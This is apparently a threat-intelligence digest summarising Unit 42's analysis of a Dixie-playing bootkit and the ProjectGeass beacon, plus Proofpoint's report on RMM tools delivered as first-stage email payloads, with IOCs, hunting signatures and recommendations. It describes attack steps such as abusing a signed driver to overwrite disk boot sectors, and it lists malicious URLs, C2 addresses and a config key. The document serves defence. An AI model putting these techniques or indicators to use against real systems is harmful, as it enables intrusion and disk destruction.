For Windows Vista and above, the bootkit drops a legitimate signed but unsecured kernel driver named ampa.sys to C:\Windows\System32, obtains SeLoadDriverPrivilege, creates and loads a driver service in the registry, and then abuses the driver’s write dispatch routine via the symbolic link \\.\wowrt\DR\DISK%u to write the GRUB 2 bootloader to the first sector of each disk. For older Windows versions, it uses the \.\PhysicalDrive%u symbolic link. After installation, it unloads the driver, overwrites the driver file with zeros, and then deletes it. Finally, it attempts to obtain SeShutdownPrivilege to force a system reboot using the ExitWindowsEx function to trigger the bootloader.

Upon reboot, the GRUB 2 bootloader displays an image and plays Dixie through the PC speaker, suggesting it might be an offensive prank. Testing on various Windows 10 VMs showed successful BIOS and UEFI booting with the patched GRUB 2 in certain partition configurations. The GRUB 2 configuration file loads video modules, sets a background image (/image.png), pauses for 60 seconds while playing /dixie.play, and then loads the main GRUB configuration (/grub2/grub.cfg). The abused ampa.sys driver was later found to be independently vulnerable.

ProjectGeass

ProjectGeass is identified as a new multi-platform post-exploitation framework written from scratch in C++ and still under development. The Windows sample is a self-described beacon. Debug messages and artifacts suggest potential beacons for Android and Unix/Linux as well. The sample statically links OpenSSL and Boost.Asio libraries, resulting in a large file size. The framework uses the term “maneuver” for the execution of third-party files.

The Windows beacon sample was compiled with Microsoft Visual Studio C++ on October 31, 2023. Debug artifacts include multiple project paths, revealing the project’s internal structure. Analysis of C++ Run-time type information (RTTI) confirms the presence of platform-specific classes (e.g., ending in “Windows” or “OnWindows”) alongside cross-platform classes like ListDirectoryCrossPlatform, further indicating multi-platform support. Endpoint collection routines attempt to identify the platform as Windows, Android, Unix, or Linux.

ProjectGeass beacon features include:

  • File upload/download
  • Execute Windows commands
  • Get/set heartbeat data
  • Sleep time adjustment
  • Enumerate processes
  • Start/stop keylogger
  • Process listing/termination
  • File manager (create/list/rename/delete directories, files, attributes)
  • Receive and execute payloads
  • Get endpoint information (network, disk, user)

While most strings are in cleartext, some are encrypted with a simple XOR-based algorithm using a unique key per string. Examples of decrypted strings reveal functionalities for command execution, network user information gathering, OS information retrieval via WMI, process token adjustment, Windows version string retrieval, keylogger setup, antivirus product information collection via WMI, external IP address discovery using ipv4.renfei[.]net, and cryptographic information access.

The beacon’s configuration data in the .data section is RC4-encrypted, with the decryption key (F5g3dsriT05L5RuTfHZlJX4dJfOVRJIsWjLC) stored in cleartext immediately before the encrypted data. Decrypted configuration data includes the server address (10.4.7[.]149), server port (7515), server certificate, Project ID (1726486365509521408), Mutex ID (1726489580380622848), and a flag to verify the server certificate (True). The use of a Chinese website for external IP lookup suggests the creator might be Chinese.

Countries

  • Thailand (submission of C++/CLI IIS backdoor samples)
  • United States (submission of Dixie-playing bootkit sample from Oxford, Mississippi)
  • Singapore (submission of ProjectGeass sample)

Hunting methods

No specific Yara, Sigma, KQL, SPL, or other hunting queries are provided in the article. However, the detailed technical analysis, including network communication patterns (specific HTTP headers for the IIS backdoor), file names, registry keys (for the bootkit driver), and the configuration structure of ProjectGeass, can be used to develop hunting rules.

IOC

File Hashes (SHA256):

  • C++/CLI IIS Backdoor (version 2 main module):
    15db49717a9e9c1e26f5b1745870b028e0133d430ec14d52884cec28ccd3c8ab
  • C++/CLI IIS Backdoor (version 2 reflective loader):
    aa2d46665ea230e856689c614edcd9d932d9edad0083bf89c903299d148634a2
  • C++/CLI IIS Backdoor (version 2 cmd.exe wrapper):
    a28d0550524996ca63f26cb19f4b4d82019a1be24490343e9b916d2750162cda
  • C++/CLI IIS Backdoor (version 1 main module):
    8571a354b5cdd9ec3735b84fa207e72c7aea1ab82ea2e4ffea1373335b3e88f4
  • C++/CLI IIS Backdoor (version 1 reflective loader):
    94017628658035206820723763a2a698a4fd7be98fc2c541aad6aa0281ef090e
  • Dixie-Playing Bootkit:
    950243a133db44e93b764e03c8d06b99310686d010b52b67f4effa57f0d72e04
  • Dixie-Playing Bootkit (ampa.sys driver):
    01D51DF682136CCE453BB1DA8964073E6BC7297CE4DAE7301C753BB618A69469
  • ProjectGeass:
    cca5df85920dd2bdaaa2abc152383c9a1391a3e1c4217382a9b0fce5a83d6e0b

Network Infrastructure:

  • C2 Server (ProjectGeass):
    10.4.7[.]149:7515
  • External IP Check (ProjectGeass):
    ipv4.renfei[.]net

Named Pipes:

  • C++/CLI IIS Backdoor (version 2):
    \.\pipe\pipename_isudbvvws

Registry Keys (Dixie-Playing Bootkit):

  • HKLM\System\CurrentControlSet\Services\ampa

Scheduled Task (Dixie-Playing Bootkit):

  • w32analytics

HTTP Header (C++/CLI IIS Backdoor):

  • X-ZA-Product: AbJc123!@#45!!
  • X-ZA-Platform:

Mutex ID (ProjectGeass):

  • 1726489580380622848

Project ID (ProjectGeass):

  • 1726486365509521408

File Names (Observed):

  • proxyscrape.dll
  • proxyxml_v4.dll
  • ReflectiveDLL.dll
  • VC_REDIST_CONFIG_X64.TXT
  • proxyxml.dll
  • IISShellModule.dll
  • w32analytics.dll
  • loader.dll
  • ampa.sys

Original link: https://unit42.paloaltonetworks.com/unusual-malware/

Remote Monitoring and Management (RMM) Tooling Increasingly an Attacker’s First Choice

Summmary

Threat actors are increasingly utilizing legitimate remote monitoring and management (RMM) tools as a first-stage payload in email campaigns, a shift observed notably since mid-2024. This trend coincides with a decrease in the use of traditional loaders and botnets associated with initial access brokers (IABs). RMM tools, while legitimate for IT administration, possess capabilities similar to Remote Access Trojans (RATs) and can be used for data collection, financial theft, lateral movement, and the installation of follow-on malware like ransomware. Proofpoint researchers have documented a rise in RMM usage, with tools like ScreenConnect, Fleetdeck, and Atera becoming more prominent, while the use of NetSupport, historically frequent, has declined. The increase in RMM campaigns, though varying in message volume, suggests a change in the threat landscape, potentially influenced by law enforcement disruptions of major botnet infrastructures. Different RMM tools are observed at different stages of attacks, with some being more common as initial payloads and others in post-exploitation phases. Several threat actors, including TA583, TA2725, ZPHP, UAC-0050, and an unnamed cluster targeting French speakers, are actively distributing RMM tools. This shift highlights the ease of use and potential for RMMs to evade detection due to their legitimate nature and signed installers.

Technical Details

The increasing adoption of RMM tools as a first-stage payload in email campaigns signifies an evolving tactic by cybercriminal threat actors. Historically, RMMs were often observed later in the attack chain, used for persistence and lateral movement after initial access was secured through loaders or other methods. However, Proofpoint’s observations in 2024 and continuing into 2025 indicate a notable increase in direct delivery of RMMs via email as the initial payload. This change aligns with a decrease in the activity of prominent loaders and botnets typically employed by IABs, possibly due to law enforcement actions like Operation Endgame which disrupted key malware families.

Several RMM tools are being actively leveraged. ScreenConnect has emerged as a particularly frequent first-stage payload, with TA583 being a significant actor distributing it through various lures like those impersonating the U.S. Social Security Administration, Canada Pension Plan, and the IRS. TA583 campaigns use URLs (often shortened or hosted on services like Dropbox and Bitbucket) or HTML/PDF attachments to deliver ScreenConnect installers. Interestingly, after gaining initial access via ScreenConnect, TA583 has also been observed downloading and installing AsyncRAT, indicating that the RMM is used as a loader for further malicious activities. To deliver emails, TA583 uses free consumer email accounts, email marketing platforms, and compromised email accounts, utilizing legitimate signed ScreenConnect installers and both DDNS and actor-owned command and control (C2) servers.

TA2725, known for targeting organizations mainly in Brazil, Mexico, and Spain with Brazilian banking malware, also began delivering ScreenConnect in January 2025. Their campaigns used energy bill lures with URLs leading to compressed executables that installed ScreenConnect, exclusively targeting organizations in Mexico.

While NetSupport was historically the most observed RMM, its use as a first-stage payload in Proofpoint data decreased in 2024. However, threat actors like ZPHP continue to distribute it through fake update campaigns, injecting a simple script object into compromised websites’ HTML code to download a base64 encoded zip file containing a JavaScript file. This JavaScript then loads the malicious NetSupport RAT. Notably, ZPHP uses a specific NetSupport license (“XMLCTL”, SerialNumber: NSM303008) which they have been using since June 2024.

This same NetSupport license and a similar delivery mechanism (URLs leading to JavaScript files downloading a ZIP containing the NetSupport payload) have also been observed with UAC-0050, a threat actor typically targeting organizations in Ukraine with RATs. This marks a shift for UAC-0050, who historically used other malware like Remcos and Lumma Stealer, although they have previously used other RMMs such as Litemanager and Remote Manipulator System (RMS). Despite the overlap in license and delivery, it’s not definitively attributed to the same actor and could indicate a cracked or commercially available version.

Bluetrait, an RMM less commonly seen, has been used regularly by at least one threat activity cluster since October 2024. These campaigns are typically low volume, using payment-themed lures in French or English. The delivery method involves compressed MSI attachments or PDFs with URLs leading to MSI attachments, which then install Bluetrait. This same cluster has also been observed delivering the Fleetdeck RMM using similar tactics.

Telephone-oriented attack delivery (TOAD) attacks also frequently utilize RMM tools. In these attacks, victims are lured into calling a threat actor who then directs them to install RMM software such as AnyDesk, TeamViewer, Zoho, UltraViewer, NetSupport, and ScreenConnect.

The shift towards RMMs as first-stage payloads is concerning because these are legitimate tools that users might be less suspicious of installing, and their signed installers can potentially evade traditional antivirus and network detection. The overall message volume of these RMM campaigns is currently lower than historic IAB malspam activity. Interestingly, the RMMs most popular as second-stage payloads (TeamViewer, Atera, NetSupport according to Red Canary and DFIR Report data) differ from those frequently observed as first-stage payloads in Proofpoint data.

Countries

  • Brazil
  • Mexico
  • Spain
  • Ukraine
  • United States
  • Canada
  • France

Industries

While the report doesn’t specify targeted industries broadly, the lures observed provide some indication:

  • Government services (U.S. Social Security Administration, Canada Pension Plan, U.S. Internal Revenue Service, U.S. Postal Service)
  • Energy sector (energy bill lures)
  • Telecommunications
  • Ticket reservation services

This suggests potentially broad targeting or targeting based on the specific lure used in the campaign.

Recommendations

  • Restrict the download and installation of any RMM tooling that is not approved and confirmed by an organization’s information technology administrators.
  • Have network detections in place – including using the Emerging Threats ruleset – and use endpoint protection. This can alert on any network activity to RMM servers.
  • Train users to identify the activity and report suspicious activity to their security teams. This training can easily be integrated into an existing user training program.

Hunting methods

The article provides example Emerging Threats (ET) signatures that can be used for network detection related to RMM activity:

  • 2837962 – ScreenConnect - Establish Connection Attempt: This signature likely looks for network traffic patterns indicative of a ScreenConnect connection being established. The logic is to identify the initial handshake or communication attempts made by a ScreenConnect client to a server.
  • 2836266 – TeamViewer HTTP Checkin: This signature probably detects HTTP requests characteristic of a TeamViewer client checking in with its command and control infrastructure. The logic involves identifying specific HTTP headers, user-agent strings, or URL patterns associated with TeamViewer’s communication protocol.
  • 2857201 – Atera DMM Related Domain in DNS Lookup: This signature aims to identify DNS queries for domains associated with Atera’s Distributed Monitoring and Management (DMM) infrastructure. The logic is based on monitoring DNS requests for known Atera-related domains.
  • 2056777 – RMM Software Domain in DNS Lookup (bluetrait .io): This signature detects DNS lookups for the specific domain “bluetrait.io”, which is associated with the Bluetrait RMM. The logic is to flag any DNS queries resolving this domain as potentially malicious activity.
  • 2054938 – PDQ Remote Management Agent Checkin: This signature likely looks for network traffic patterns or protocols used by the PDQ Remote Management Agent to check in with its server. The logic involves identifying specific communication patterns or protocols unique to PDQ.
  • 2833909 – UltraVnc Session Outbound: This signature probably detects network traffic indicative of an outbound UltraVnc session being established. The logic would involve identifying the specific ports and protocols used by UltraVnc for remote connections.

IOC

Domains:
safelink[.]vn
ssastatementshelpcenter[.]de
retireafter5m[.]co
farrarscieng[.]com
anticlouds[.]su
online[.]invoicesing[.]es
invoice007[.]zapto[.]org
instance-udm3tv-relay[.]screenconnect[.]com
bluetrait[.]io
kalika[.]bluetrait[.]io

URLs:
hxxps://region-businesss-esignals.s3.us-east-1.amazonaws[.]com/region-businesss-esignals-46980.html
hxxps://ssastatementshelpcenter[.]de/top/
hxxps://retireafter5m[.]co/Bin/Recently_S_S_A_eStatementForum_Viewr5406991387785667481_Pdf.Client.exe?e=Access&y=Guest&s=1fa76235-0891-43b3-9773-feba750a3852&i=Buss1
hxxps://safelink[.]vn/OsDXr
hxxps://safelink[.]vn/GESLx
hxxp://www[.]farrarscieng[.]com/re[.]php
hxxps://3650ffice[.]anticlouds[.]su/Fraud_Alert_black/
hxxps://online[.]invoicesing[.]es/Bin/Statement[.]ClientSetup[.]exe?e=Access&y=Guest&c=Black_Cat&c=&c=&c=&c=&c=&c=&c=
hxxps://online[.]invoicesing[.]es/Bin/Attachment[.]Client[.]exe?h=instance-w08c5r-relay[.]screenconnect[.]com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogzJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=c242c8a1-6914-4689-8deb-67789c4f3a34&i=&e=Support&y=Guest&r=
hxxp://45[.]155[.]249[.]215/xxx.zip
hxxps://kalika[.]bluetrait[.]io/api/

IP Addresses:
109[.]71[.]247[.]168
185[.]157[.]213[.]71:443

File Hashes (SHA256):
b8fd2b4601b09aacd760fbede937232349bf90c23b35564ae538ed13313c7bd0
97b35a7673ae59585ad39d99e20d9028ac26bbccb50f2302516520f544fe637e
4c4e15513337db5e0833133f587e0ed131d4ebb65bb9a3d6b62a868407aae070

Other:
NetSupport Licensee: XMLCTL
NetSupport SerialNumber: NSM303008

Original link: https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice